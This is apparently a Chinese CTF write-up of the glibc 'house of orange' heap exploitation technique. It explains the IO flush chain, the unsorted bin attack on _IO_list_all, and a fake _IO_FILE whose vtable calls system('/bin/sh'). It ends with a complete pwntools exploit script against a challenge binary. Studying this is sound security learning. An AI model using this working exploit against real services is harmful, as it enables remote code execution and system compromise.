house_of_orange
利用条件
无free,可改topchunk
前置知识
理清IO链
1
| malloc_printerr --> __libc_message --> abort --> _IO_flush_all_lockp --> _IO_OVERFLOW
|
这条函数调用链中,只有_IO_OVERFLOW,需要我们构造触发条件,条件如下:
1 2 3 4 5 6 7 8 9 10 11 12 13
| if ( ( (fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) || ( _IO_vtable_offset (fp) == 0 && fp->_mode > 0 && ( fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base ) ) ) && _IO_OVERFLOW (fp, EOF) == EOF ) result = EOF;
|
观察上面的代码发现,如果我们要想执行_IO_OVERFLOW (fp, EOF)就需要让最外面的if中&&前面的那部分成立,而这部分中间又用了一个||来连接两个条件,分别是(fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base
和_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr> fp->_wide_data->_IO_write_base
这两部分条件任意满足一处即可,前面那个部分的条件满足起来很省事,我们只需要让mode=0,_IO_write_ptr=1,_IO_write_base=0即可(这仨值改成其他的也行,只需要满足条件即可),这样就会触发_IO_OVERFLOW。
利用思路
控制IO结构体
利用topchunk堆拓展,将先前的topchunk放入unsorted bin,然后打一个unsorted bin attack,将main_arena+88(unsortedbin)写入_IO_list_all,如果我们在 _IO_list_all 利用 unsorted bin attack 写入 main_arena_88 ,那么,main_arena_88 就会被当成一个 _IO_FILE 结构体,而 main_arena_88 + 0x68 = main_arena_C0 ,也就是 _IO_FILE 结构体中存放 chain 指针的地方,也是存放 0x60 大小 small bin 第一个 free chunk 地址的地方,如果我们伪造一个 small bin 为 _IO_FILE 结构体,那么我们就能够准确地劫持程序了,只需要让unsorted bin attack过后的chunk,携带着fake_IO,进入smallbin,等到这条IO链触发,即可篡改虚表函数并写入参数
构造fake_IO
我们将IO_FILE结构体落在我们可控的内存上,这就意味着我们是可以控制vtable的,我们将vtable中的_IO_overflow函数地址改成system地址即可,而这个函数的第一个参数就是IO_FILE结构体的地址,因此我们让IO_FILE结构体中的flags成员为/bin/sh字符串,那么当执行exit函数或者libc执行abort流程时或者程序从main函数返回时触发了_IO_flush_all_lockp即可拿到shell
思路理清之后构造fake_IO
1 2 3 4 5 6
| fake_IO+=b'/bin/sh\x00'+p64(0x61) #old top chunk prev_size & size 同时也是fake file的_flags字段 fake_IO+=p64(0)+p64(_IO_list_all-0x10) #old top chunk fd & bk fake_IO+=p64(0)+p64(1) #_IO_write_base & _IO_write_ptr fake_IO+=p64(0)*21 #填充 fake_IO+=p64(heap_base+0xf50+0xc8) #指向system地址即可,就是下面这个 fake_IO+=p64(system) #留一个system地址,等调用
|
触发IO链
先前已经用unsorted bin攻击,unsorted bin 已被破坏
只需要再申请一个其他bin里没有的大小,即可触发
1
| malloc_printerr --> __libc_message --> abort --> _IO_flush_all_lockp --> _IO_OVERFLOW
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| from pwn import * from std_pwn import *
context(os='linux', arch='amd64', log_level='debug',terminal=['tmux','splitw','-h']) elf = ELF("./eznote") getProcess("ctf.qwq.cc",13148,'./eznote') libc = ELF("./libc-2.23.so")
def add(size,content): sla(b'choice :', '1') sla(b'Length of Note : ', str(size)) sa(b'Content of Note:',content)
def edit(index,content): sla(b'choice :', '2') sla(b'Index :', str(index)) sla(b'Length of Note :',str(len(content))) sa(b'Content of Note :',content)
def show(index): sla(b'choice :', '3') sla(b'Index :', str(index))
ru("A gift for you~: ") gift=int(rl()[:-1],16) heap_base=gift-0x55ae50c07010+0x55ae50c07000 add(0x10,b'123') edit(0,b'a'*0x18+p64(0xb1)) add(0x100,b'123') edit(0,b'a'*0x20) show(0) libc_base=uu64(ru("\x7f")[-6:])-0x7fa03df29b78+0x7fa03db65000 log(libc_base) _IO_list_all=libc_base+libc.sym['_IO_list_all'] system=libc_base + libc.sym['system']
payload = b'a' * 0x10
payload+=b'/bin/sh\x00'+p64(0x61) payload+=p64(0)+p64(_IO_list_all-0x10) payload+=p64(0)+p64(1) payload+=p64(0)*21 payload+=p64(heap_base+0xf50+0xc8) payload+=p64(system)
edit(0,payload) log(gift) gdba() sla(b'choice :', '1') sla(b'Length of Note : ', str())
ita()
|